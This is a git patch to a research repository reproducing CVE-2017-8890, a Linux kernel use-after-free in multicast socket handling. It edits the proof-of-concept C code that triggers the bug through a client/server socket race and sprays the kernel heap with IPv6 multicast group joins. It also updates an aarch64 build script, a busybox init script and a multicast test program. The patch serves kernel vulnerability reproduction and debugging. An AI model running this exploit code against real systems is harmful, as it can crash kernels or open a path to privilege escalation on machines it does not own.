From 72ecf58ee3a7b3f49ecd4c1ebf1820a7e6199c9b Mon Sep 17 00:00:00 2001
From: Werner Sembach <werner.sembach@fau.de>
Date: Mon, 15 Oct 2018 14:45:23 +0200
Subject: [PATCH] Make multicast work with kernel 4.4

---
 CVE-2017-8890_PoC.c   | 57 +++++++++++++++++++++++--------------------
 README.md             |  1 +
 compile.sh            |  2 +-
 rcS                   |  1 +
 test_ipv6_multicast.c | 31 -----------------------
 test_multicast.c      | 53 ++++++++++++++++++++++++++++++++++++++++
 6 files changed, 86 insertions(+), 59 deletions(-)
 delete mode 100644 test_ipv6_multicast.c
 create mode 100644 test_multicast.c

diff --git a/CVE-2017-8890_PoC.c b/CVE-2017-8890_PoC.c
index 9e92e3d..fd9d6b3 100644
--- a/CVE-2017-8890_PoC.c
+++ b/CVE-2017-8890_PoC.c
@@ -15,23 +15,22 @@
 #include <errno.h>
 #include <assert.h>
 
-#define HELLO_WORLD_SERVER_PORT    6666
+#define HELLO_WORLD_SERVER_PORT 6666
 #define LENGTH_OF_LISTEN_QUEUE 1
-#define BUFFER_SIZE 1024
-#define FILE_NAME_MAX_SIZE 512
-#define SPRAY_SIZE 500
+#define SPRAY_SIZE 250
 
 int server_init = 0;
 int server_finish = 0;
 int client_finish = 0;
 
-
 void heap_spray(int times) {
-    printf("heap_spray start\n");
+    printf("[Spray] heap_spray start\n");
+
     int sockfd[times];
     for (int i = 0; i < times; ++i) {
-        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
-            perror("Socket");
+        sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
+        if (sockfd[i] < 0) {
+            perror("[Spray] Socket creation failed");
             exit(errno);
         }
     }
@@ -40,10 +39,11 @@ void heap_spray(int times) {
     struct sockaddr_in6 *sockaddr_in6_spray_object = (struct sockaddr_in6 *) &group_req_spray_object.gr_group;
     sockaddr_in6_spray_object->sin6_family = AF_INET6;
     sockaddr_in6_spray_object->sin6_port = 1234;
-    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(sockaddr_in6_spray_object->sin6_addr));
-    for (int i = 0; i < SPRAY_SIZE; ++i) {
+    inet_pton(AF_INET6, "ff02:abcd:0000:0000:0000:0000:0000:1", &(sockaddr_in6_spray_object->sin6_addr));
+    for (int i = 0; i < times; ++i) {
         if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_req_spray_object, sizeof(group_req_spray_object))) {
-            perror("spray");
+            printf("%d ", i);
+            perror("[Spray] setsockopt failed");
             exit(errno);
         }
     }
@@ -51,13 +51,14 @@ void heap_spray(int times) {
     for (int i = 0; i < times; ++i) {
         close(sockfd[i]);
     }
-    printf("heap_spray end\n");
+
+    printf("[Spray] heap_spray end\n");
     return;
 }
 
 void *spray() {
     while (!client_finish) {
-        heap_spray(250);
+        heap_spray(SPRAY_SIZE);
     }
     return NULL;
 }
@@ -78,23 +79,23 @@ void *server(void *arg) {
 
     int server_socket = socket(PF_INET, SOCK_STREAM, 0);
     if (server_socket < 0) {
-        printf("[Server]Create Socket Failed!");
+        printf("[Server] Create Socket Failed!");
         exit(EXIT_FAILURE);
     }
 
     if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
-        perror("[Server]Server Socket Join Group Failed!");
+        perror("[Server] Server Socket Join Group Failed!");
         exit(EXIT_FAILURE);
     }
 
     if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
-        printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
+        printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
         exit(EXIT_FAILURE);
     }
 
 
     if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
-        printf("[Server]Server Listen Failed!");
+        printf("[Server] Server Listen Failed!");
         exit(EXIT_FAILURE);
     }
 
@@ -102,18 +103,20 @@ void *server(void *arg) {
     socklen_t length = sizeof(client_addr);
 
     server_init = 1;
-    printf("[Server]accept..... \n");
+    printf("[Server] accept..... \n");
     int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
     if (new_server_socket < 0) {
         close(server_socket);
-        printf("[Server]Server Accept Failed!\n");
+        printf("[Server] Server Accept Failed!\n");
         return NULL;
     }
 
-    printf("[Server]Close new_server_socket\n");
+    printf("[Server] Close new_server_socket\n");
     close(new_server_socket);
 
-    printf("[Server]Close server_socket\n");
+    heap_spray(SPRAY_SIZE);
+
+    printf("[Server] Close server_socket\n");
     close(server_socket);
 
     server_finish = 1;
@@ -128,24 +131,24 @@ void *client(void *arg) {
     client_addr.sin_port = htons(0);
     int client_socket = socket(AF_INET, SOCK_STREAM, 0);
     if (client_socket < 0) {
-        printf("[Client]Create socket failed!\n");
+        printf("[Client] Create socket failed!\n");
         exit(EXIT_FAILURE);
     }
     if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
-        printf("[Client]Client bind port failed!\n");
+        printf("[Client] Client bind port failed!\n");
         exit(EXIT_FAILURE);
     }
     struct sockaddr_in server_addr;
     bzero(&server_addr, sizeof(server_addr));
     server_addr.sin_family = AF_INET;
     if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
-        printf("[Client]Server IP Address error\n");
+        printf("[Client] Server IP Address error\n");
         exit(EXIT_FAILURE);
     }
     server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
     socklen_t server_addr_length = sizeof(server_addr);
     if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
-        printf("[Client]cannot connect to 127.0.0.1!\n");
+        printf("[Client] cannot connect to 127.0.0.1!\n");
         exit(EXIT_FAILURE);
     }
 
@@ -153,7 +156,7 @@ void *client(void *arg) {
         sleep(1);
     }
 
-    printf("[Client]Close client_socket\n");
+    printf("[Client] Close client_socket\n");
     close(client_socket);
     client_finish = 1;
 
@@ -163,7 +166,7 @@ void *client(void *arg) {
 int main(int argc, char *argv[]) {
     pthread_t id_server, id_client, id_spray;
 
-    pthread_create(&id_spray, NULL, spray, NULL);
+    //pthread_create(&id_spray, NULL, spray, NULL);
 
     pthread_create(&id_server, NULL, server, NULL);
     while (!server_init) {
diff --git a/README.md b/README.md
index bc9765c..ebdb8d2 100644
--- a/README.md
+++ b/README.md
@@ -32,6 +32,7 @@ info args
 print *(struct inet_sock *)sk
 print *((struct inet_sock *)sk)->mc_list
 print sizeof(*((struct inet_sock *)sk)->mc_list)
+print *(struct ipv6_mc_socklist *)((struct inet_sock *)sk)->mc_list
 ```
 
 ### etc/init.d/rcS
diff --git a/compile.sh b/compile.sh
index 55acaab..6703fe9 100755
--- a/compile.sh
+++ b/compile.sh
@@ -5,5 +5,5 @@ SCRIPTDIR=$(dirname "$0")
 cd $SCRIPTDIR/busybox-1.29.3/_install/
 cp ../../rcS etc/init.d/rcS
 aarch64-linux-gnu-gcc ../../CVE-2017-8890_PoC.c -o CVE-2017-8890_PoC -static -pthread -O0
-aarch64-linux-gnu-gcc ../../test_ipv6_multicast.c -o test_ipv6_multicast -static -pthread -O0
+aarch64-linux-gnu-gcc ../../test_multicast.c -o test_multicast -static -pthread -O0
 find . | cpio -o --format=newc > ../rootfs.img
diff --git a/rcS b/rcS
index 4c377af..cc19c09 100755
--- a/rcS
+++ b/rcS
@@ -7,3 +7,4 @@ mount -t sysfs none /sys
 ip link set lo up
 ip link set eth0 up
 ip link set sit0 up
+route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0
diff --git a/test_ipv6_multicast.c b/test_ipv6_multicast.c
deleted file mode 100644
index 4329273..0000000
--- a/test_ipv6_multicast.c
+++ /dev/null
@@ -1,31 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <errno.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-
-int main() {
-    int sockfd = socket(PF_INET6, SOCK_STREAM, 0);
-    if (sockfd < 0) {
-        perror("socket");
-        exit(errno);
-    }
-
-    struct group_req group_req_spray_object = {0};
-    struct sockaddr_in6 *sockaddr_in6_spray_object = (struct sockaddr_in6 *) &group_req_spray_object.gr_group;
-    sockaddr_in6_spray_object->sin6_family = AF_INET6;
-    sockaddr_in6_spray_object->sin6_port = 1234;
-    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(sockaddr_in6_spray_object->sin6_addr));
-    if(setsockopt(sockfd, IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_req_spray_object, sizeof(group_req_spray_object))) {
-        perror("setsockopt");
-        close(sockfd);
-        exit(errno);
-    }
-
-    close(sockfd);
-
-    printf("Success!\n");
-
-    return 0;
-}
diff --git a/test_multicast.c b/test_multicast.c
new file mode 100644
index 0000000..9728f27
--- /dev/null
+++ b/test_multicast.c
@@ -0,0 +1,53 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+
+int main() {
+    int sockfd_ipv4 = socket(PF_INET, SOCK_STREAM, 0);
+    if (sockfd_ipv4 < 0) {
+        perror("Could not create ipv4 socket");
+        exit(errno);
+    }
+
+    struct group_req group_ipv4 = {0};
+    struct sockaddr_in *psin_ipv4 = (struct sockaddr_in *) &group_ipv4.gr_group;
+    psin_ipv4->sin_family = AF_INET;
+    psin_ipv4->sin_port = 1234;
+    psin_ipv4->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
+
+    if(setsockopt(sockfd_ipv4, IPPROTO_IP, MCAST_JOIN_GROUP, &group_ipv4, sizeof(group_ipv4))) {
+        perror("Could not join ipv4 multicast group");
+        close(sockfd_ipv4);
+        exit(EXIT_FAILURE);
+    }
+
+    close(sockfd_ipv4);
+    printf("Ipv4 test successfull!\n");
+
+
+    int sockfd_ipv6 = socket(PF_INET6, SOCK_STREAM, 0);
+    if (sockfd_ipv6 < 0) {
+        perror("Could not create ipv6 socket");
+        exit(errno);
+    }
+
+    struct group_req group_ipv6 = {0};
+    struct sockaddr_in6 *psin_ipv6 = (struct sockaddr_in6 *) &group_ipv6.gr_group;
+    psin_ipv6->sin6_family = AF_INET6;
+    psin_ipv6->sin6_port = 1234;
+    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin_ipv6->sin6_addr));
+
+    if(setsockopt(sockfd_ipv6, IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_ipv6, sizeof(group_ipv6))) {
+        perror("Could not join ipv6 multicast group");
+        close(sockfd_ipv6);
+        exit(errno);
+    }
+
+    close(sockfd_ipv6);
+    printf("Ipv6 test successfull!\n");
+
+    return EXIT_SUCCESS;
+}
-- 
GitLab